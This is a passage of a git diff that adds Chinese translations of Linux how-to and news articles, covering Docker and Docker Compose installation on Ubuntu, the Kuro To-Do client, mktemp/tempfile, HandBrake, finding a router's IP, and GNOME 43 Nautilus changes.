27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.071453522Z" level=info msg="ccResolverWrapper: sending update to cc: {[{unix:> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.071459974Z" level=info msg="ClientConn switching balancer to \"pick_first\"" > +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.130989294Z" level=info msg="Loading containers: start." +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.187439756Z" level=info msg="Default bridge (docker0) is assigned with an IP a> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.235966874Z" level=info msg="Loading containers: done." +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.240149866Z" level=warning msg="Not using native diff for overlay2, this may c> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.240281966Z" level=info msg="Docker daemon" commit=a89b842 graphdriver(s)=over> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.240386856Z" level=info msg="Daemon has completed initialization" +Jun 27 13:07:43 Ubuntu22CT systemd[1]: Started Docker Application Container Engine. +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.276336600Z" level=info msg="API listen on /run/docker.sock" +``` + +好极了!Docker 服务已启动并运行! + +如果没有运行,运行以下命令运行 Docker 服务: + +``` +$ sudo systemctl start docker +``` + +使 Docker 服务在每次重启时自动启动: + +``` +$ sudo systemctl enable docker +``` + +可以使用以下命令查看已安装的 Docker 版本: + +``` +$ sudo docker version +``` + +输出样例: + +``` +Client: Docker Engine - Community + Version: 20.10.17 + API version: 1.41 + Go version: go1.17.11 + Git commit: 100c701 + Built: Mon Jun 6 23:02:46 2022 + OS/Arch: linux/amd64 + Context: default + Experimental: true + +Server: Docker Engine - Community + Engine: + Version: 20.10.17 + API version: 1.41 (minimum version 1.12) + Go version: go1.17.11 + Git commit: a89b842 + Built: Mon Jun 6 23:00:51 2022 + OS/Arch: linux/amd64 + Experimental: false + containerd: + Version: 1.6.6 + GitCommit: 10c12954828e7c7c9b6e0ea9b0c02b01407d3ae1 + runc: + Version: 1.1.2 + GitCommit: v1.1.2-0-ga916309 + docker-init: + Version: 0.19.0 + GitCommit: de40ad0 +``` + +![Check Docker Version][4] + +#### 4、测试 Docker + +让我们继续,测试 Docker 是否运行正常: + +运行: + +``` +$ sudo docker run hello-world +``` + +上述命令会下载一个 Docker 测试镜像,并在容器内执行一个 “hello_world” 样例程序。 + +如果你看到类似下方的输出,那么祝贺你!Docker 正常运行在你的 Ubuntu 系统中了。 + +``` +Unable to find image 'hello-world:latest' locally +latest: Pulling from library/hello-world +2db29710123e: Pull complete +Digest: sha256:13e367d31ae85359f42d637adf6da428f76d75dc9afeb3c21faea0d976f5c651 +Status: Downloaded newer image for hello-world:latest + +Hello from Docker! +This message shows that your installation appears to be working correctly. + +To generate this message, Docker took the following steps: + 1. The Docker client contacted the Docker daemon. + 2. The Docker daemon pulled the "hello-world" image from the Docker Hub. + (amd64) + 3. The Docker daemon created a new container from that image which runs the + executable that produces the output you are currently reading. + 4. The Docker daemon streamed that output to the Docker client, which sent it + to your terminal. + +To try something more ambitious, you can run an Ubuntu container with: + $ docker run -it ubuntu bash + +Share images, automate workflows, and more with a free Docker ID: + https://hub.docker.com/ + +For more examples and ideas, visit: + https://docs.docker.com/get-started/ +``` + +![Run Hello World Docker Container][5] + +很好!可以使用 Docker 了。 + +#### 5、作为非 root 用户运行 Docker (选做) + +默认情况下,Docker 守护进程绑定到 Unix 套接字而不是 TCP 端口。由于 **Unix 套接字由 root 用户拥有**,Docker 守护程序将仅以 root 用户身份运行。因此,普通用户无法执行大多数 Docker 命令。 + +如果你想要在 Linux 中作为非 root 用户运行 Docker ,参考下方链接: + +* [如何在 Linux 中作为非 root 用户运行 Docker][6] + +我个人不这样做也**不推荐**你这么做。如果你不会在互联网上暴露你的系统,那没问题。然而,不要在生产系统中以非 root 用户身份运行 Docker 。 + +### 在 Ubuntu 中安装 Docker Compose + +**Docker Compose** 是一个可用于定义和运行多容器 Docker 应用程序的工具。使用 Compose,你可以使用 Compose 文件来配置应用程序的服务。然后,使用单个命令,你可以从配置中创建和启动所有服务。 + +下列任何方式都可以安装 Docker Compose 。 + +#### 方式 1、使用二进制文件安装 Docker Compose + +从 [这里][7] 下载最新 Docker Compose 。 + +当我在写这篇文章时,最新版本是 **2.6.1** 。 + +运行下列命令安装最新稳定的 Docker Compose 文件: + +``` +$ sudo curl -L "https://github.com/docker/compose/releases/download/v2.6.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose +``` + +如果有更新版本,只需要将上述命令中的 **v2.6.1** 替换为最新的版本号即可。请不要忘记数字前的 **"v"** 。 + +最后,使用下列命令赋予二进制文件可执行权限: + +``` +$ sudo chmod +x /usr/local/bin/docker-compose +``` + +运行下列命令检查安装的 Docker Compose 版本: + +``` +$ docker-compose version +Docker Compose version v2.6.1 +``` + +#### 方式 2、使用 Pip 安装 Docker Compose + +或许,我们可以使用 **Pip** 安装 Docker Compose 。Pip 是 Python 包管理器,用来安装使用 Python 编写的应用程序。 + +参考下列链接安装 Pip 。 + +* [如何使用 Pip 管理 Python 包][8] + +安装 Pip 后,运行以下命令安装 Docker Compose。下列命令对于所有 Linux 发行版都是相同的! + +``` +$ pip install docker-compose +``` + +安装 Docker Compose 后,使用下列命令检查版本: + +``` +$ docker-compose --version +``` + +你将会看到类似下方的输出: + +``` +docker-compose version 2.6.1, build 8a1c60f6 +``` + +恭喜你!我们已经成功安装了 Docker 社区版和 Docker Compose 。 + +安装了 Docker,然后呢?查看本系列的下一篇文章,了解 Docker 基础知识。 + +* [开始使用 Docker][9] + +要在基于 RPM 的系统(例如 RHEL、Fedora、CentOS、AlmaLinux、Rocky Linux 和 openSUSE)中安装 Docker,请参考以下链接。 + +* [在 CentOS 中安装 Docker][10] + +### 总结 + +在这篇教程中,我们讨论了 Docker 是什么,如何在 Ubuntu 22.04 LTS Jammy Jellyfish 中安装 Docker 。然后学习了如何通过运行 hello-world Docker 镜像测试 Docker 是否成功安装。最后,我们通过使用两种不同的方式安装 Docker Compose 作为本教程的结尾。 + +### 资料 + +* [Docker 主页][11] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/install-docker-ubuntu/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/how-to-find-if-a-cpu-supports-virtualization-technology-vt/ +[2]: https://ostechnix.com/install-proxmox-ve/ +[3]: https://ostechnix.com/wp-content/uploads/2022/06/Install-Docker-In-Ubuntu.png +[4]: https://ostechnix.com/wp-content/uploads/2022/06/Check-Docker-Version.png +[5]: https://ostechnix.com/wp-content/uploads/2022/06/Run-Hello-World-Docker-Container.png +[6]: https://ostechnix.com/how-to-run-docker-as-non-root-user-in-linux/ +[7]: https://github.com/docker/compose/releases +[8]: https://ostechnix.com/manage-python-packages-using-pip/ +[9]: https://ostechnix.com/getting-started-with-docker/ +[10]: https://ostechnix.com/install-docker-centos/ +[11]: https://www.docker.com/ diff --git a/published/202207/20220627 Kuro- An Unofficial Microsoft To-Do Desktop Client for Linux.md b/published/202207/20220627 Kuro- An Unofficial Microsoft To-Do Desktop Client for Linux.md new file mode 100644 index 0000000000..f4257ab223 --- /dev/null +++ b/published/202207/20220627 Kuro- An Unofficial Microsoft To-Do Desktop Client for Linux.md @@ -0,0 +1,100 @@ +[#]: subject: "Kuro: An Unofficial Microsoft To-Do Desktop Client for Linux" +[#]: via: "https://itsfoss.com/kuro-to-do-app/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14795-1.html" + +Kuro:非官方的微软 To-Do Linux 桌面客户端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/05/151405wsp6k55rrzdkk6dl.jpg) + +> 微软说他们热爱 Linux 和开源,但我们仍然没有得到对其许多产品的 Linux 原生支持。 + +虽然他们可能在努力增加更多的支持,比如 [可以在 Linux 上安装微软 Edge 浏览器][1],但对于一个价值几万亿美元的公司来说,这并不出色。 + +同样,微软的 To-Do 服务也是一个受欢迎的服务,它取代了 2020 年关闭的 Wunderlist。 + +如果你不知道的话,我们有很多 [可用于 Linux 的待办事项列表应用][2]。因此,如果你想脱离微软 To-Do,你有选择。 + +微软 To-Do 是一个基于云的任务管理应用,让你从手机、桌面和网络组织你的任务。它可以在 Windows、Mac 和 Android 上下载。 + +那么,如果你不愿意使用网页浏览器而使用一个单独的应用,你在 Linux 上能做什么呢? + +Kuro 派上用场了。 + +### Kuro:非官方的开源微软 To-Do 应用 + +![kuro todo][3] + +Kuro 是一个非官方的开源应用,它为你提供了微软 To-Do 在 Linux 上的桌面体验和一些额外的功能。 + +它是 Ao 的一个分叉,Ao 是一个开源项目,逐渐成为它的解决方案。不幸的是,它不再积极维护了。所以,我遇到了一个似乎可以工作的新复刻。 + +![kuro todo options][4] + +Kuro 提供了一些额外的功能,可以让你在应用中切换主题,启用全局快捷方式等。 + +请注意,这个应用是相当新的,但有一个稳定版本可以试用。此外,开发者计划在不久的将来增加更多的主题和功能。 + +### Kuro 的功能 + +![kuro todo 1][5] + +如果你倾向于使用微软的服务(如 Outlook),它的 To-Do 应用应该是组织你的任务的一个完美选择。你甚至可以标记电子邮件以创建任务。 + +使用 Kuro 桌面客户端,你可以得到一些可配置的功能,包括: + +* 能够在启动时启动该程序。 +* 获得一个系统托盘图标,以快速创建一个任务,搜索,或检查当天的可用列表。 +* 启用全局快捷键。 +* 切换可用的主题(深褐色、德古拉、黑色、深色)。 +* 切换自动夜间模式,如果你不想不断改变主题。 +* 隐藏托盘图标,如果你不需要它。 +* 根据需要定制字体大小。 + +![kuro todo settings][6] + +除了一些功能外,你还可以进入某些设置来启用/禁用电子邮件通知、删除前确认等,对待办事项应用体验的进行更多的控制。 + +总的来说,体验并不糟糕,但我在几分钟内注意到用户界面上有一些奇怪的图形问题。我不确定这是否是一个已知的问题。 + +### 在 Linux 中安装 Kuro + +你可以从它的 [GitHub 发布页面][7] 找到基于 Ubuntu 的发行版的 .deb 包。 + +此外,你可以从 [Snap 商店][8] 中在你选择的任何 Linux 发行版上安装它。该软件包也可在 Arch Linux 发行版的 [AUR][9] 中获取。 + +开发者还提到,正在开发一个 Flatpak 软件包。所以,你可以关注它的 [GitHub 页面][10]以了解更多相关信息。 + +> **[Kuro][11]** + +你已经试过它了吗?你知道有什么更好的微软 To-Do 客户端用于 Linux 吗?请在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/kuro-to-do-app/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/microsoft-edge-linux/ +[2]: https://itsfoss.com/to-do-list-apps-linux/ +[3]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-800x507.png +[4]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-options-800x444.png +[5]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-1.png +[6]: https://itsfoss.com/wp-content/uploads/2022/06/kuro-todo-settings.png +[7]: https://github.com/davidsmorais/kuro/releases +[8]: https://snapcraft.io/kuro-desktop +[9]: https://itsfoss.com/aur-arch-linux/ +[10]: https://github.com/davidsmorais/kuro +[11]: https://github.com/davidsmorais/kuro diff --git a/published/202207/20220627 Make a temporary file on Linux with Bash.md b/published/202207/20220627 Make a temporary file on Linux with Bash.md new file mode 100644 index 0000000000..630fcc31bc --- /dev/null +++ b/published/202207/20220627 Make a temporary file on Linux with Bash.md @@ -0,0 +1,144 @@ +[#]: subject: "Make a temporary file on Linux with Bash" +[#]: via: "https://opensource.com/article/22/6/make-temporary-file-bash" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14783-1.html" + +在 Linux 上使用 Bash 创建一个临时文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/01/145110u1ninn1n3idspp71.jpg) + +> 基于 Fedora 的系统上的 `mktemp` 命令和基于 Debian 的系统上的 `tempfile` 是专门为减轻这种负担而设计的,它使创建、使用和删除独特的文件变得容易。 + +使用 Bash 脚本语言进行编程时,有时需要创建一个临时文件。例如,你可能需要一个可以提交到磁盘的中间文件,以便你可以使用另一个命令对其进行处理。创建诸如 `temp` 之类的文件或任何以 `.tmp` 结尾的文件很容易。但是,这些名称很可能是由其他进程生成的,因此你可能会不小心覆盖现有的临时文件。除此之外,你不应该花费脑力想出看起来独特的名字。基于 Fedora 的系统上的 `mktemp` 命令和基于 Debian 的系统上的 `tempfile` 是专门为减轻这种负担而设计的,它使创建、使用和删除独特的文件变得容易。 + +### 创建一个临时文件 + +`mktemp` 和 `tempfile` 都创建一个临时文件作为它们的默认操作,并打印文件的名称和位置作为输出: + +``` +$ tempfile +/tmp/fileR5dt6r + +$ mktemp +/tmp/tmp.ojEfvMaJEp +``` + +除非你指定不同的路径,否则系统会将临时文件放在 `/tmp` 目录中。 + +对于 `mktemp`,可以使用 `-p` 选项指定路径: + +``` +$ mktemp -p ~/Demo +/home/tux/Demo/tmp.i8NuhzbEJN +``` + +对于 `tempfile`,可以使用 `--directory` 或 `-d` 选项: + +``` +$ tempfile --directory ~/Demo/ +/home/sek/Demo/fileIhg9aX +``` + +### 找到你的临时文件 + +使用自动生成的临时文件的问题是你无法知道它的名字是什么。这就是为什么两个命令都返回生成的文件名作为输出的原因。你可以使用 Konsole、GNOME 终端或 [rxvt][2] 等交互式 shell 来使用终端上显示的文件名与文件进行交互。 + +但是,如果你正在编写脚本,则无法通过读取文件名并在以下命令中使用它来进行干预。 + +`mktemp` 和 `tempfile` 的作者想到了这个问题,并且有一个简单的解决方法。终端将输出发送到名为“标准输出”的流。你可以通过将变量设置为在子 shell 中启动的命令的结果来捕获标准输出: + +``` +$ TMPFILE=$(mktemp -p ~/Demo) + +$ echo $TMPFILE +/home/tux/Demo/tmp.PjP3g6lCq1 +``` + +引用文件时使用 `$TMPFILE`,它与直接与文件本身交互相同。 + +### 使用 mktemp 创建一个临时目录 + +你还可以使用 `mktemp` 命令创建目录而不是文件: + +``` +$ mktemp --directory -p ~/Demo/ +/home/tux/Demo/tmp.68ukbuluqI + +$ file /home/tux/Demo/tmp.68ukbuluqI +/home/tux/Demo/tmp.68ukbuluqI: directory +``` + +### 自定义临时名称 + +有时你甚至可能希望在伪随机生成的文件名中加入可预测性元素。你可以使用这两个命令自定义临时文件的名称。 + +使用 `mktemp`,你可以为文件名添加后缀: + +``` +$ mktemp -p ~/Demo/ --suffix .mine +/home/tux/Demo/tmp.dufLYfwJLO.mine +``` + +使用 `tempfile`,你可以设置前缀和后缀: + +``` +$ tempfile --directory ~/Demo/ --prefix tt_ --suffix .mine +/home/tux/Demo/tt_0dfu5q.mine +``` + +### 把 tempfile 作为 touch 使用 + +你还可以使用 `tempfile` 设置自定义名称: + +``` +$ tempfile --name not_random +not_random +``` + +当你使用 `--name` 选项时,它是绝对的,忽略所有其他形式的自定义。事实上,它甚至忽略了 `--directory` 选项: + +``` +$ tempfile --directory ~/Demo --prefix this_is_ --suffix .all --name not_random_at +not_random_at +``` + +在某种程度上,`tempfile` 可以替代 `touch` 和 `test`,因为它拒绝创建已经存在的文件: + +``` +$ tempfile --name example.txt +open: file exists +``` + +`tempfile` 命令并非默认安装在所有 Linux 发行版上,因此在将其用作脚本中的 `test` 的 hack 之前,你必须确保它存在。 + +### 安装 mktemp 和 tempfile + +[GNU Core Utils][3] 包括 `mktemp` 命令。主要发行版默认包括 Core Utils(它是包含 `chmod`、`cut`、`du` 和其他基本命令的同一个软件包)。 + +Debian Utils 软件包包含 `tempfile` 命令,默认安装在大多数基于 Debian 的发行版和 Slackware Linux 上。 + +### 总结 + +临时文件很方便,因为不会混淆它们是否可以安全删除。它们是临时的,意在根据需要使用并毫不犹豫地丢弃。在需要时使用它们,并在完成后清除它们。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/make-temporary-file-bash + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bash_command_line.png +[2]: https://opensource.com/article/19/10/why-use-rxvt-terminal +[3]: https://www.gnu.org/software/coreutils/ diff --git a/published/202207/20220628 HandBrake- Free Tool for Converting Videos from Any Format.md b/published/202207/20220628 HandBrake- Free Tool for Converting Videos from Any Format.md new file mode 100644 index 0000000000..91509dd7e5 --- /dev/null +++ b/published/202207/20220628 HandBrake- Free Tool for Converting Videos from Any Format.md @@ -0,0 +1,127 @@ +[#]: subject: "HandBrake: Free Tool for Converting Videos from Any Format" +[#]: via: "https://www.debugpoint.com/handbrake/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14801-1.html" + +HandBrake:用于转换任何格式视频的免费工具 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/07/141355dt7b8znyhfmltmsh.jpg) + +> 了解一下 HandBrake,这是一个优秀的工具,可以将任何格式的视频转换为目标类型。 + +本文介绍了它的功能、下载说明和使用指南。 + +### HandBrake + +在这个社交媒体的时代,我们身处各种视频之中,当然还有随之而来的各种格式。因此,如果你是在 Linux 平台,甚至是在 Windows 平台,你可以使用各种软件来为多个平台转换各种视频。但是,如果你需要一个简单但功能丰富的视频转换器来处理来自多个来源的所有视频格式,请尝试 HandBrake。 + +#### 功能 + +HandBrake 有大量的选项,使其成为一个独特的工具。首先,其工作流程是超级简单。事实上,它只是三个步骤: + +* 选择一个视频 +* 选择一个目标格式 +* 转换 + +正如你所看到的,如果你是一个新手用户,使用这个工具是非常容易的,因为目标格式的属性(如比特率、尺寸)是基于默认的预设。 + +其次,如果你想进行高级编辑,如在转换时从字幕文件中添加字幕,也可以使用这个工具。 + +此外,你还可以改变尺寸、翻转视频、改变分辨率、修改长宽比,以及裁剪。此外,通过一套基本的过滤器配置,可以完成诸如去噪和锐化等操作。 + +另外,为你的视频文件添加章节、标签和音轨也很容易。 + +也许 HandBrake 的重要功能是提供预设,以满足现代社会媒体和流媒体的需求。例如,其预设与这些流媒体平台和流媒体设备相一致,如: + +* Discord +* GMail +* Vimeo +* 亚马逊 Fire Stick 电视棒 +* 苹果设备 +* Chromecast +* Playstation +* Roku +* Xbox + +一个相当令人印象深刻的列表,不是吗?不仅如此,如果你是一个专业工作者,它可以帮助你定义和创建转换队列。队列功能允许你在工作流程中批量转换多个视频文件。 + +最后,你可以转换为 MPEG-4(mp4)、Matroska(mkv)和 WebM 格式。 + +![HandBrake with various features][1] + +### 下载和安装 + +下载和安装 HandBrake 对于任何平台(Linux、Mac 和 Windows)都很容易。开发者直接提供了可执行文件,可以免费下载。 + +由于本站的主要目标受众是 Linux 用户,我们将讨论 HandBrake 在 Linux 中的安装。 + +对于 Ubuntu、Linux Mint 和所有其他发行版,最好的方法是 Flatpak。你可以 [设置 Flatpak][2],然后点击下面的按钮来安装 HandBrake: + +> **[通过 Flathub 安装 HandBrake][3]** + +对于 Windows、macOS 的安装程序,请访问 [这个页面][4a]。 + +一个有趣的特点是,你可以通过命令行使用这个应用程序!这意味着你可以使用命令行工具进一步定制你的工作流程,你可以在 [这里][4] 下载。 + +### 如何使用 HandBrake 来转换视频?(示例) + +既然你安装了它,让我们看看你如何只用三个步骤就能转换一个示例视频。 + +1. 打开 HandBrake,点击顶部工具栏上的 “打开源文件Open Source” 按钮,选择你的视频文件。 +2. 现在,从“格式Format”下拉菜单中选择目标文件类型。确保选中目标文件夹(默认为 `Videos`)。 +3. 最后,点击顶部工具栏的“开始Start”按钮,用 HandBrake 转换视频。 + +![HandBrake Video Conversion in three simple steps][5] + +你可以在窗口的底部找到一个漂亮的转换进度显示。 + +![Encoding status][6] + +上面的步骤是最基本的步骤。如果你想进一步控制视频,你可以改变选项,也可以从我前面解释的大量预设列表中选择。 + +### 常见问题 + +**HandBrake 是免费使用么?** + +是的,它是一个自由开源的应用程序,你可以免费下载它。 + +**它可在 Mac 和 Windows 上用么?** + +是的,你可以在 macOS、Windows 10 和 Windows 11 中轻松安装 HandBrake。 + +**如何下载 HandBrake?** + +你只能从官方网站 https://handbrake.fr/ ,不能从其他地方下载 HandBrake。 + +### 结束语 + +Handbrake 是如今可用的专业级免费和开源视频编码器之一。它是一个经过时间考验的应用,每天有数百万用户使用。我希望本指南能帮助你了解这个神奇的工具,让你开始你的视频项目。 + +**演示视频来自 [Pexels - cottonbro][7]**。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/handbrake/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/06/HandBrake-with-various-features.jpg +[2]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[3]: https://dl.flathub.org/repo/appstream/fr.handbrake.ghb.flatpakref +[4]: https://handbrake.fr/downloads2.php +[4a]: https://handbrake.fr/downloads.php +[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/HandBrake-Video-Conversion-in-three-simple-steps.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/06/Encoding-status.jpg +[7]: https://www.pexels.com/video/hands-hand-table-colorful-3997786/ diff --git a/published/202207/20220629 Finding Your Router-s IP Address -Default Gateway- in Ubuntu and Other Linux.md b/published/202207/20220629 Finding Your Router-s IP Address -Default Gateway- in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..e33d4eb801 --- /dev/null +++ b/published/202207/20220629 Finding Your Router-s IP Address -Default Gateway- in Ubuntu and Other Linux.md @@ -0,0 +1,112 @@ +[#]: subject: "Finding Your Router’s IP Address (Default Gateway) in Ubuntu and Other Linux" +[#]: via: "https://itsfoss.com/router-ip-address-linux/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14799-1.html" + +在 Linux 中找到你的路由器的 IP 地址(默认网关) +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/06/155222cgjpa9ppa19zr2g1.jpg) + +你可能已经知道如何在 Linux 中获得你的系统的 IP 地址。 + +但是你怎么知道你的路由器的 IP 地址呢? + +我说的不是你可以通过连接到 “[Show My IP][1]” 这样的网站或简单地在 [DuckDuckGo][3] 中 [搜索“what is my ip”][2] 获得的公网 IP。 + +我说的是默认网关 IP,你的 Linux 桌面所连接的地址。 + +你为什么需要它?嗯,如果你需要改变你的 Wi-Fi/网络的 SSID、密码或其他配置,你必须连接到它。简单的方法是在网页浏览器中输入路由器的 IP 地址,然后使用路由器的用户名和密码。 + +虽然我不能帮助你获得路由器的用户名和密码,但我肯定可以告诉你如何获得它的 IP。 + +一如既往,我将展示 GUI 和命令行两种方法。 + +### 方法 1:在 Linux 中使用 GUI 获取路由器的 IP 地址 + +这其实很简单。我在这里使用的是 Ubuntu 的 GNOME 桌面。如果你使用一些 [其他桌面环境][4],截图可能会有所不同。 + +打开“系统设置System Settings”: + +![go to settings][5] + +现在进入 Wi-Fi 或“网络Network”(如果你使用的是有线的以太网连接)。在这里,点击你当前使用的网络旁边的小设置符号。 + +![access network settings ubuntu][6] + +它将打开一个新窗口,里面有关于你的连接的一些细节,如 IP 地址、DNS 和 [Mac 地址][7]。你还可以在“安全security”标签下看到 [保存的 Wi-Fi 密码][8]。 + +你还会看到一个名为“默认路由Default Route”的条目。这就是你要找的东西。你的路由器的 IP 地址。 + +![default gateway ip ubuntu][9] + +你的系统和网络上的所有其他设备都使用这个 IP 地址连接到路由器。这就是大多数家庭的设置。 + +现在我已经展示了 GUI 的方法,让我们去看看终端的路线。 + +### 方法 2:在 Linux 命令行中获取路由器的 IP 地址 + +打开一个终端,使用以下命令: + +``` +ip route +``` + +它将显示几个条目。 + +``` +~$ ip route +default via 192.168.1.1 dev wlp0s20f3 proto dhcp metric 600 +169.254.0.0/16 dev wlp0s20f3 scope link metric 1000 +192.168.1.0/24 dev wlp0s20f3 proto kernel scope link src 192.168.1.34 metric 600 +``` + +第一行,以 `default via` 开头,给出了你网关的 IP。这是你的路由器的 IP 地址。 + +![default route linux terminal][10] + +你可以看到,`192.168.1.1` 是我的路由器的 IP 地址。通常情况下,路由器的 IP 地址是子网的第一个数字。然而,这并不是一个硬性规定。我也见过有 `x.y.z.30` 地址的路由器。 + +### 额外技巧 + +正如 Samir 在评论中所分享的,你也可以(在 Debian 上)使用 `ping` 命令来获得网关 IP: + +``` +ping _gateway +``` + +![ping gateway][11] + +以防你不知道,你必须 [在 Linux 中使用 Ctrl+C 来停止一个正在运行的命令][12]。 + +我希望你在需要的时候能发现这个技巧是有用的。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/router-ip-address-linux/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://www.showmyip.com/ +[2]: https://duckduckgo.com/?q=what+is+my+ip&t=h_&ia=answer +[3]: https://itsfoss.com/duckduckgo-easter-eggs/ +[4]: https://itsfoss.com/best-linux-desktop-environments/ +[5]: https://itsfoss.com/wp-content/uploads/2022/02/go_to_settings.jpg +[6]: https://itsfoss.com/wp-content/uploads/2022/06/access-network-settings-ubuntu-800x448.png +[7]: https://itsfoss.com/change-mac-address-linux/ +[8]: https://itsfoss.com/how-to-find-saved-wireless-wifi-passwords-ubuntu/ +[9]: https://itsfoss.com/wp-content/uploads/2022/06/defaul-gateway-ip-ubuntu.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/defaul-route-linux-terminal.png +[11]: https://itsfoss.com/wp-content/uploads/2022/06/ping-gateway.png +[12]: https://itsfoss.com/stop-program-linux-terminal/ diff --git a/published/202207/20220630 6 New Changes Coming to Nautilus File Manager in GNOME 43.md b/published/202207/20220630 6 New Changes Coming to Nautilus File Manager in GNOME 43.md new file mode 100644 index 0000000000..99f5848a1e --- /dev/null +++ b/published/202207/20220630 6 New Changes Coming to Nautilus File Manager in GNOME 43.md @@ -0,0 +1,109 @@ +[#]: subject: "6 New Changes Coming to Nautilus File Manager in GNOME 43" +[#]: via: "https://news.itsfoss.com/gnome-files-43/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14791-1.html" + +GNOME 43 中 Nautilus 文件管理器的 6 个新变化 +====== + +> GNOME 文件即将到来的变化改善了用户体验,让我们来看看其中的一些变化。 + +![gnome files][1] + +我们离 GNOME 43 的发布还有几个月的时间,但是 GNOME 应用程序的开发活动正在如火如荼地进行。 + +例如,[GNOME Web 43 alpha 版本支持了扩展][2]。 + +同样,GNOME 文件管理器(Nautilus)也有一些令人兴奋的变化,特别是对于列表视图。 + +列表视图使用 [GtkColumnView][3] 部件重新实现,丢弃了 GtkTreeView,以便能够添加新功能。 + +一些完善了代码的变化包括: + +### 1、拖动并选择文件 + +就像你在网格视图中通常所做的那样,你终于可以通过简单地拖动你的鼠标在列表视图中选择多个项目,来选择你想要的项目。 + +![gnome files][4] + +如果你没有注意到,每行之间也有一点间隔。虽然选择的动画还不是最流畅的,但它是一个正在进行的工作。 + +我试着用 peek 录制 GIF(在带有 Wayland 的 Fedora 上),但由于某些原因,它没有反应,可能与 alpha 版本有一些冲突。 + +### 2、鼠标悬停时高亮行 + +当你把鼠标悬停在上面的时候,没有行高亮是很不直观的。 + +现在,它做到了。只要把你的光标放在列表视图中的任何一个项目上,它就会被突出显示,如上图所示。 + +### 3、搜索一个文件时,列不会消失 + +![之前][5] + +![之后][6] + +当你用当前的 Nautilus 文件管理器搜索一个文件时,列的处理方式不是很好。你会失去某些细节信息,如文件大小。 + +在新的变化中,你仍然可以看到文件的大小、修改日期,以及给文件加星的能力。 + +通过这一改变,用户体验肯定会更好。 + +### 4、更好的紧凑视图 + 